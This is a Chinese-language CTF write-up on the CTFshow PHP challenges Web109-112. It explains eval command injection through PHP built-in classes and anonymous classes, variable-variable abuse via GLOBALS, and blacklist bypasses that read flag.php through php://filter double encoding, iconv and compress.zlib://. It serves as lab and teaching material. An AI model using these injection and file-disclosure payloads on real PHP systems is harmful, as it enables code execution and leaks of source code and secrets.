当前位置: 首页 > news >正文

CTFshow系列——PHP特性Web109-112

也是三天没更新文章了;主要是这三天都在不断的面试,笔试(给我整得精神崩溃了都)。
所以今天也是给大家带来一篇php特性的CTF题目讲解

文章目录

    • Web109
      • 代码分析:
      • WP思路:
      • PHP 常见内置类(适合直接 `new` 的)
    • Web110
      • 分析代码
    • Web111
      • 代码分析
      • Payload构造
    • Web112
      • 代码分析:
      • Payload
      • **方法一**:利用 php://filter + 二次 URL 编码绕过
      • **方法二**:使用 php://filter + 其他过滤器
      • **方法三**:使用zlib协议
    • 总结


Web109

话不多说,也是直接开始:

<?phphighlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}}?>

代码分析:

  • 核心漏洞在于 eval("echo new $v1($v2());"); 这一行。

    • 它直接将 $v1$v2 的值拼接进 eval 语句,这非常典型的 代码注入(Code Injection) 漏洞。
  • 存在一个过滤器:preg_match('/[a-zA-Z]+/', $v)

    • 这意味着 $v1 和 $v2 必须至少包含一个英文字母,才能通过检查。

思路:利用 $v2 来注入我们的命令。由于 new v1(v1(v1(v2()); 结构中 $v2 位于括号内,我们可以使用反引号 ` 或引号 ’ 来执行 shell 命令。

那么根据上述,我也是尝试构造了一些payload:

?v1=system&v2=ls;
?v1=a&v2=system('cat /flag')

在这里插入图片描述

但是很遗憾,并没有出现flag;这是怎么回事?

WP思路:

分析:

  1. 看见 new 就应该想到类,因此 v1 就是类名
  2. 类分为php内置类、用户自定义的类、匿名类,自定义的类在这里不能使用,只剩两种

知识点
​ 1、内置类与匿名类
​ 2、魔术方法

原来是用到PHP的构造类,就说怎么之前简单的代码拼接行不通了。(题目也不给点提示)
而常用的PHP内置类,那可就多了:

  • v1 → 类名(必须是一个 PHP 内置类或者自定义类)
  • v2 → 函数名(会被执行)

PHP 常见内置类(适合直接 new 的)

以下是一些常用的 PHP 内置类,可用于测试:

  • 异常相关

    • Exception
    • ErrorException
  • 文件/目录相关

    • DirectoryIterator
    • FilesystemIterator
    • RecursiveDirectoryIterator
    • SplFileObject
  • 日期时间

    • DateTime
    • DateTimeZone
    • DateInterval

(等等,还有很多)


# PHP内置类
?v1=Exception&v2=system(ls)# 还有一种匿名类+魔术方法的(网上WP)
?v1=class{ public function __construct(){system('ls');}};&v2=w

在这里插入图片描述

得到flag:

在这里插入图片描述

# 查看源代码:
?v1=Exception&v2=system('cat fl*')
?v1=class{ public function __construct(){system('cat fl*');}};&v2=w

(payload不唯一,除了system函数,还有很多方法;具体请看命令执行系列的文章)


Web110

<?phphighlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){die("error v1");}if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());");}?>

观察代码,发现除了正常的 [a-zA-Z]字母,好像大部分特殊字符都被过滤掉了;那我们接下来有什么办法执行命令呢?

分析代码

  • 禁掉了匿名类的payload
  • 要求:不允许使用特殊字符与数字
  • v1只能是类,v2为函数或方法,且无参数

新的问题又出现了:有什么函数或者方法是我们能够直接查看目录或者文件的?

有的,上一道题目我不是列出来一些内置类了吗;其中不就有与文件目录相关的吗?

  • 文件/目录相关

    • DirectoryIterator
    • FilesystemIterator
    • RecursiveDirectoryIterator
    • SplFileObject

而函数不需要参数,说明常用的scandir()、golb(),passthru(),exec(),shell_exec()等函数都不能用了;

但是,getcwd()函数 不需要参数

所以 v1 我们选择读取文件内置类 FilesystemIterator,v2=getcwd

# payload# 列出目录
?v1=FilesystemIterator&v2=getcwd

在这里插入图片描述

那么flag呢,如何读取?直接访问 **

url/fl36dga.txt

在这里插入图片描述

麻了,这些题目都是看WP做出来的。


Web111

老样子,先看代码:

<?phphighlight_file(__FILE__);
error_reporting(0);
include("flag.php");function getFlag(&$v1,&$v2){eval("$$v1 = &$$v2;");var_dump($$v1);
}if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){die("error v1");}if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){die("error v2");}if(preg_match('/ctfshow/', $v1)){getFlag($v1,$v2);}
}
?>

代码分析

  • getFlag() 函数: 这是核心漏洞所在。

  • eval(" $$v1 = &$$v2;");:eval() 函数会执行其参数中的字符串作为 PHP 代码。

    • $$v1$$v2 是 可变变量 (variable variables)。这意味着,变量的名称本身存储在 $v1 和 $v2 中。
    • 例如,如果 $v1 的值是 “x”,$$v1 就等同于 $x。
    • &$$v2:这里的 & 表示 引用 (reference)。这条语句的意图是将 $v1 所指的变量,设置为 $v2 所指的变量的一个引用。
  • var_dump($$v1);:这会打印出 $v1 所指的变量的类型和值。

  • preg_match('/.../', $v)

    • 正则表达式意味着我们只能使用 英文字母 (a-z, A-Z) 作为 $v1 和 $v2 的值。
  • ctfshow 检查: if(preg_match(‘/ctfshow/’, $v1)) 强制要求 $v1 的值中必须包含 ctfshow 这个字符串。


所以我们可以构造的payload为:

?v1=ctfshow&v2=flag

在这里插入图片描述

但是却返回NULL。。。这又是什么原因?

Payload构造

考察:全局变量 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS

WP的解释:注意 PHP 的函数具有词法作用域

在函数内部无法调用外部的变量,除非进行传参。这道题无非注意以下几点:

  1. 我们最终要得到 $flag 的值,就需要 var_dump($$v1) 中的 $v1 为 flag,即 $v2 要为 flag,这样 $$v2 就为 $flag,&$$v2 就为 $flag 对应的值

  2. URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null

  3. 要想跨过词法作用域的限制,我们可以用 GLOBALS 常量数组,其中包含了 $flag 键值对,就可以将 $flag 的值赋给 $$v1

Payload:…/?v1=ctfshow&v2=GLOBALS

# payload
?v1=ctfshow&v2=GLOBALS

(我真的没招了,这又是哪来的新知识点)

Web112

<?phphighlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}

代码分析:

  • 代码先判断 is_file($file)
    • 如果是真实文件,直接退出程序;
    • 因此能被 highlight_file() 处理的路径,往往是“不是普通文件”的情形(例如 PHP 的流包装器 php://phar://zip:// 等,或经过某种编码使 is_file() 返回 false)。
  • filter() 用的是黑名单:
    • file 不能是文件,且不能使用 http、https、data 伪协议,不能使用 input 参数,不能使用 rot13、base64、string 过滤器

Payload

思路很明显了,我们可以直接使用PHP伪协议来构造我们的payload:

方法一:利用 php://filter + 二次 URL 编码绕过

?file=php://filter/convert.%2562%2561%2563%2565%2536%2534-encode/resource=flag.php
  • 解码过程:
    %25%
    %62%61%63%65%36%34base64

方法二:使用 php://filter + 其他过滤器

?file=php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php
  • 说明:
    • iconv 转码器不在黑名单中,可以用它把文件内容转成另一种编码(比如 utf-16),然后输出。
    • 这样也能泄露文件源码,只是要手动再转换回来。
  • 好处:完全不需要 base64 关键字,自然绕过黑名单。

方法三:使用zlib协议

?file=compress.zlib://flag.php
  • 解释:

compress.zlib:// 是什么

  • PHP 内置了 流包装器(stream wrapper),允许对文件做“透明压缩/解压”操作。
  • compress.zlib:// 的作用是:
    • 读取文件时自动解压缩(如果文件是压缩的,也可以直接当普通文件读)。
    • 不是普通路径,is_file() 会返回 false,所以条件满足进入 highlight_file() 分支。

并且代码黑名单只屏蔽了:

../  http  https  data  input  rot13  base64 string
  • compress.zlib:// 并不包含这些关键字,所以 preg_match() 不会拦截。
  • highlight_file() 会读取 compress.zlib://flag.php

    • PHP 会把它当作 zlib 流读取;
    • 因为文件没压缩,PHP 会直接读取原始字节,显示源码。

在这里插入图片描述
以上方法都能得到flag。

总结

这些php特性题目也是涉及到的知识点也是越来越多了,我有些招架不住了。

http://www.dtcms.com/a/392124.html

相关文章:

  • 字符函数与字符串函数
  • 酷9 1.7.3 | 支持自定义添加频道列表,适配VLC播放器内核,首次打开无内置内容,用户可完全自主配置
  • Slurm sbatch 全面指南:所有选项详解
  • 使用SCP命令在CentOS 7上向目标服务器传输文件
  • Kindle Oasis 刷安卓系统CrackDroid
  • 最新超强系统垃圾清理优化工具--Wise Care 365 PRO
  • JeecgBoot权限控制系统解析:以具体模块为例
  • 2025年职场人AI认证与学习路径深度解析
  • 硬件开发_基于STM32单片机的智能垃圾桶系统2
  • CSS Display Grid布局 grid-template-columns grid-template-rows
  • 在 Spring Boot 中,针对表单提交和请求体提交(如 JSON) 两种数据格式,服务器端有不同的接收和处理方式,
  • NL2SQL简单使用
  • 数据结构:二叉树OJ
  • 【Linux手册】生产消费者模型的多模式实践:阻塞队列、信号量与环形队列的并发设计
  • Python + Flask + API Gateway + Lambda + EKS 实战
  • 【OpenGL】openGL常见矩阵
  • DeepSeek大模型混合专家模型,DeepSeekMoE 重构 MoE 训练逻辑
  • 450. 删除二叉搜索树中的节点
  • 实用工具:基于Python的图片定位导出小程序
  • 滚珠螺杆在工业机器人关节与线性模组的智能控制
  • 【AI】coze的简单入门构建智能体
  • Python数据分析:函数定义时的装饰器,好甜的语法糖。
  • Java数据结构——包装类和泛型
  • 【C++进阶】C++11的新特性 | 列表初始化 | 可变模板参数 | 新的类功能
  • 广东省省考备考(第一百零三天9.20)——言语(强化训练)
  • 面试编程题(四)
  • OpenHarmony之充电振动定制
  • 前端单元测试入门:使用 Vitest + Vue 测试组件逻辑与交互
  • 泛英国生物样本库全基因组关联分析
  • 【LeetCode 每日一题】2785. 将字符串中的元音字母排序